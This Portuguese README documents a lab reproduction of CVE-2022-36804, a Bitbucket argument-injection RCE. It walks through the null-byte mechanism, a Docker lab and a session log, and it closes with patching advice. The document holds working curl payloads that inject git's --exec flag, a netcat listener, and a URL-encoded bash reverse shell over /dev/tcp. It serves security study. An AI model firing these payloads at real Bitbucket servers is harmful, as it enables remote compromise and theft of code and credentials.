Reprodução de cadeia completa do CVE-2022-36804 (Bitbucket RCE). Inclui um laboratório Dockerizado, monitoramento pspy64 para verificação de injeção de byte nulo e um script de exploit Bash personalizado. Baseado na pesquisa da Assetnote.
CVE-2022-36804 é uma vulnerabilidade de Injeção de Argumento de nível alto/crítico na API REST do Atlassian Bitbucket Server e Data Center.
Embora a pontuação base oficial do NVD National Vulnerability Database seja 8.8 (Alta) com base na suposição de privilégios de leitura necessários (PR:L), esta análise a trata como uma falha 9.8 (Crítica) (PR:N). Se um repositório alvo tiver acesso público habilitado — uma configuração comum — o vetor de exploração torna-se totalmente pré-autenticado.
Este repositório documenta uma reprodução laboratorial de cadeia completa do exploit, baseada diretamente na pesquisa técnica publicada pela Assetnote.
A análise detalha a transição desde a orquestração do ambiente e evasão de filtros de segurança até a obtenção de um shell reverso interativo. Conforme descrito na descoberta original, esta falha permite , que pode ser explorada sem autenticação se o repositório alvo tiver acesso público habilitado.
A vulnerabilidade está enraizada em uma "Incompatibilidade de Impedância de Sanitização" entre o runtime da aplicação Java e o Sistema Operacional Linux.
Conforme destacado na pesquisa da Assetnote, o Bitbucket utiliza a biblioteca NuProcess para construir e executar comandos Git. Quando um usuário fornece um parâmetro prefix para o endpoint /archive, o Bitbucket falha em remover caracteres nulos (%00) antes de passar a lista de argumentos para o SO.
execve() processa o comando, ele corta a string em %00. Devido à forma como o NuProcess passa os dados, o SO trata tudo após o byte nulo como um argumento de linha de comando completamente novo.Ao injetar --exec=..., um atacante quebra a flag --prefix pretendida e força o processo git archive a executar um binário arbitrário, levando à Execução Remota de Comandos (RCE).
Para entender como o exploit transita de um simples parâmetro de URL para um comando a nível de SO, devemos dissecar a estrutura do payload e observar o "Deslocamento de Array".
prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x
| Componente | Propósito | Função Técnica |
|---|---|---|
prefix=x | Requisito | git archive precisa de um prefixo; x atua como placeholder. |
%00 | A Faca | Null-Byte. Java o passa, mas o kernel Linux baseado em C termina a string aqui. |
--exec=... | O Gatilho RCE | A Flag Perigosa. Abusa do recurso interno do Git para executar programas externos. |
touch ... | A Ação | O comando a ser executado. PoC seguro para verificar RCE. |
--remote=... | A Lixeira | Consome o ID do Commit (anexado pelo Bitbucket) como um argumento válido, garantindo que o comando execute sem erros de sintaxe. |
Isto ilustra o cerne da vulnerabilidade: como Dados (um prefixo de diretório) são transformados em uma Instrução (uma flag de comando).
Contexto de Execução do Java (Estado Inicial):
Java vê uma única string longa como o terceiro argumento.
[
"git", // Índice 0
"archive", // Índice 1
"--prefix=x\0--exec=...\0--remote=...\0x", // Índice 2: A única string poluída
"1a2b3c4d..." // Índice 3: Anexado pelo Bitbucket
]
Execução do Kernel Linux (Estado Explorado):
A chamada de sistema execve() do kernel divide a string a cada byte nulo (\0), deslocando as flags injetadas para suas próprias posições independentes no array de argumentos do processo.
[
"git", // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/main/Execut%C3%A1vel
"archive", // argv[1]: Subcomando
"--prefix=x", // argv[2]: Terminado precocemente por %00
"--exec=/bin/bash -c 'touch /tmp/pwned'", // argv[3]: A FLAG INJETADA (RCE)
"--remote=file:///", // argv[4]: A LIXEIRA (Redireciona a lógica)
"1a2b3c4d..." // argv[5]: ID DO COMMIT (Consumido por --remote)
]
Para simular uma superfície de ataque realista, o ambiente laboratorial utiliza uma arquitetura de dois contêineres isolada dentro de uma rede bridge Docker (hacking_net). Esta configuração garante que a exploração e o monitoramento possam ser realizados em um ambiente controlado sem afetar o sistema hospedeiro.
Nó Vítima: Executa o Atlassian Bitbucket Server versão 7.17.1. O contêiner é intencionalmente nomeado bitbucket-victim. Isso reflete um refinamento crítico de design feito para garantir conformidade com a aplicação do RFC 7230 pelo Apache Tomcat. Ao usar um hífen em vez de um sublinhado, o ambiente evita os erros 400 de "Caractere Inválido" que ocorrem durante a execução do payload — um obstáculo técnico chave identificado e resolvido durante a fase de pesquisa.
Nó Atacante: Uma imagem Kali Linux rolling personalizada. Diferente de uma imagem padrão, este nó é pré-provisionado com o conjunto de ferramentas específico necessário para esta cadeia de exploit: git para manipulação de repositório, curl para entrega do payload e netcat-traditional para capturar o shell reverso.
services:
bitbucket:
image: atlassian/bitbucket-server:7.17.1
container_name: bitbucket-victim # Renomeado de bitbucket_victim para evitar problemas de cabeçalho do host ao executar o payload.
ports:
- "7990:7990"
volumes:
- ./bitbucket-data:/var/atlassian/application-data/bitbucket
networks:
- hacking_net
kali:
build: .
container_name: kali_attacker
tty: true
networks:
- hacking_net
networks:
hacking_net:
driver: bridge
# Use a imagem rolling oficial do Kali Linux como base
FROM kalilinux/kali-rolling
# Atualize a lista de pacotes e instale ferramentas essenciais para o exploit
# - git: OBRIGATÓRIO para este CVE específico (iremos manipular comandos git)
# - curl: Para enviar as requisições HTTP (o payload)
# - netcat-traditional: Para capturar o shell reverso (listener)
# - nano: Adicionado para edição de texto amigável dentro do contêiner
# - python3: Útil para scripts ou hospedar servidores HTTP simples
RUN apt-get update && \
apt-get install -y git curl netcat-traditional nano python3 && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Defina o diretório de trabalho como /root por conveniência
WORKDIR /root
# Mantenha o contêiner rodando indefinidamente para que possamos acessá-lo via 'docker exec'
# Este comando simplesmente segue o dispositivo nulo, não fazendo nada além de manter o processo vivo
CMD ["tail", "-f", "/dev/null"]
Se você já provisionou o ambiente usando o docker-compose.yml fornecido acima, pode usar o script exploit.sh incluído para verificar a vulnerabilidade e obter um shell reverso em segundos.
1. Prepare o Listener
No seu nó atacante Kali (ou máquina hospedeira), inicie um listener netcat para capturar o shell:
nc.traditional -lvnp 4444
2. Execute o Exploit
Execute o script fornecendo o IP alvo do Bitbucket, os nomes do Projeto/Repositório e os detalhes do seu listener:
# Uso: ./exploit.sh <ip_alvo> <chave_projeto> <slug_repositorio> <ip_atacante> <porta_atacante>
chmod +x exploit.sh
./exploit.sh 172.19.0.3 CVE repo1 172.19.0.2 4444
3. Verifique o Acesso
Assim que o script executar, verifique seu terminal netcat. Você deve ter uma sessão interativa como o usuário bitbucket.
whoami
# Saída: bitbucket
id
# Saída: uid=2003(bitbucket) gid=2003(bitbucket) groups=2003(bitbucket)
O que se segue é o registro bruto de execução da sessão laboratorial, detalhando a transição da configuração do ambiente para um shell reverso totalmente interativo, incluindo as etapas de solução de problemas necessárias para contornar a lógica da aplicação e as restrições do servidor web.
Comecei criando o ambiente vulnerável e configurando a aplicação alvo.
docker-compose up -d --build para implantar os contêineres do atacante Kali e da vítima Bitbucket.http://localhost:7990 e aguardei a rotina de configuração do Bitbucket inicializar.CVE e um repositório vazio chamado Repo1.


Para verificar a injeção em tempo real em vez de depender de testes cegos, decidi implantar o pspy64 para monitorar processos Linux subjacentes.
pspy64 do repositório oficial do GitHub.docker cp pspy64 bitbucket_victim:/tmp/pspy64
# Note que seu contêiner seria chamado bitbucker-victim se você clonar este repositório.
-u 0) no contêiner da vítima, apliquei privilégios de execução e iniciei o monitor:docker exec -u 0 -it bitbucket_victim bash
cd /tmp
chmod +x pspy64
./pspy64

Mudando para o nó atacante (docker exec -it kali_attacker bash), disparei o payload inicial de execução remota de comandos visando criar um arquivo (/tmp/pwned).
curl -s "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
_ no nome do host.
-H "Host: localhost") para forçar a passagem do payload pelo servidor web até a camada da aplicação Bitbucket.Disparar o payload atualizado com o cabeçalho Host resultou em um novo erro:
{"context":null,"message":"You are not permitted to access this resource","exceptionName":null}

/archive estava negando o acesso. Deduzi que isso ocorria porque git archive não pode operar em um repositório vazio — ele precisa de uma árvore de commit para analisar.README.md ("This is a test repository for CVE-2022-36804") e tentei enviá-lo (push) a partir do contêiner Kali.bitbucket_victim continha o sublinhado proibido. Esse sublinhado está me assombrando - lição aprendida!172.19.0.3) e fiz o push do commit usando as credenciais de administrador:git remote add origin http://[email protected]:7990/scm/cve/repo1.git
git push -u origin master
# Se quiser testar isso você mesmo - deve se parecer com:
# http://[USUARIO-ADMIN]@[IP-VITIMA]:7990/scm/[NOMEPROJETO]/[NOMEREPO].git
Com o repositório inicializado, disparei o payload modificado com o cabeçalho Host mais uma vez:
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
Sucesso. Mudando para meu terminal de monitor, observei a "prova incontestável". O pspy64 capturou o momento exato em que o processo Java passou a string injetada com byte nulo para o kernel Linux. Conforme previsto na análise técnica, o SO tratou tudo após o byte nulo como um novo argumento.

Em seguida, fiz uma verificação manual dentro do contêiner, confirmando que o arquivo /tmp/pwned havia sido criado pelo usuário bitbucket (UID 2003).
Para finalizar a Prova de Conceito e demonstrar o impacto máximo, passei da simples criação de arquivo para obter acesso total interativo ao sistema.
nc.traditional -lvnp 4444
Recuperei o IP interno do meu contêiner Kali usando hostname -I para garantir que a vítima soubesse para onde enviar o shell.
Executei o payload final. Usei um shell reverso bash codificado para URL para garantir que caracteres como >, & e ' contornassem os analisadores de requisição HTTP do Tomcat:
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+%27bash+-i+%3E%26+/dev/tcp/[IP_CONTÊINER_KALI]/[PORTA_LISTENER]+0%3E%261%27%00--remote=file:///%00x"

Resultado: A conexão estabilizou. Obtenho com sucesso um shell interativo como o usuário de serviço bitbucket, provando um comprometimento bem-sucedido e total do serviço.

É importante distinguir entre a aplicação web e o SO subjacente. Este shell reverso fornece acesso ao ambiente do servidor, não direitos de "Administrador" dentro da interface do Bitbucket.
Como uma injeção de argumento a nível de SO, o shell herda os privilégios do processo pai — neste caso, a conta de serviço bitbucket (UID 2003).
Embora não seja acesso root imediato, o impacto ainda é crítico:
Roubo de Propriedade Intelectual: Acesso não autorizado aos objetos Git subjacentes de todos os repositórios hospedados na instância, efetivamente contornando o Controle de Acesso Baseado em Funções (RBAC) interno da aplicação.
Coleta de Credenciais: Acesso a arquivos de configuração internos e segredos do banco de dados.
Pivoteamento: O servidor comprometido pode agora ser usado como um gateway para atacar a rede interna.
Em um ambiente endurecido, isso é um Comprometimento de Serviço total. Embora um escalonamento de privilégio secundário seja necessário para controle total do host, o objetivo principal — acessar a propriedade intelectual da organização — é totalmente alcançado.
Para proteger instâncias Bitbucket contra esta vulnerabilidade, a Atlassian lançou patches que implementam validação estrita no parâmetro prefix e atualizam a lógica de execução do processo para evitar a divisão de argumentos por byte nulo.
Correção Oficial: Atualize para as versões do Bitbucket Server e Data Center 7.17.10, 7.21.4, 8.0.3, 8.1.3, 8.2.2, 8.3.1 ou qualquer versão lançada após agosto de 2022.
Mitigação Imediata: Se uma atualização imediata não for possível, garanta que o Acesso Público esteja desabilitado para todos os repositórios. Embora isso não remova a vulnerabilidade, desloca a superfície de ataque de um vetor não autenticado (Pré-Auth) para um autenticado, exigindo uma conta de usuário válida para executar.
Esta Prova de Conceito foi desenvolvida sintetizando pesquisas das seguintes fontes primárias e ferramentas laboratoriais:
Pesquisa Assetnote: Quebrando Bitbucket: RCE Pré-autenticação (CVE-2022-36804) – A descoberta original e o passo a passo técnico.
Inspiração Técnica: Devcraft - GitHub RCE via Git Injection – A pesquisa sobre injeção de argumento Git que inspirou a descoberta da Assetnote.
Imagem Vulnerável: Atlassian Bitbucket Server 7.17.1 – A camada de contêiner específica utilizada nesta reprodução.
Ferramenta de Monitoramento: pspy (Ferramenta de Monitoramento de Processos) – Utilizada para verificação white-box da injeção de argumento no kernel Linux.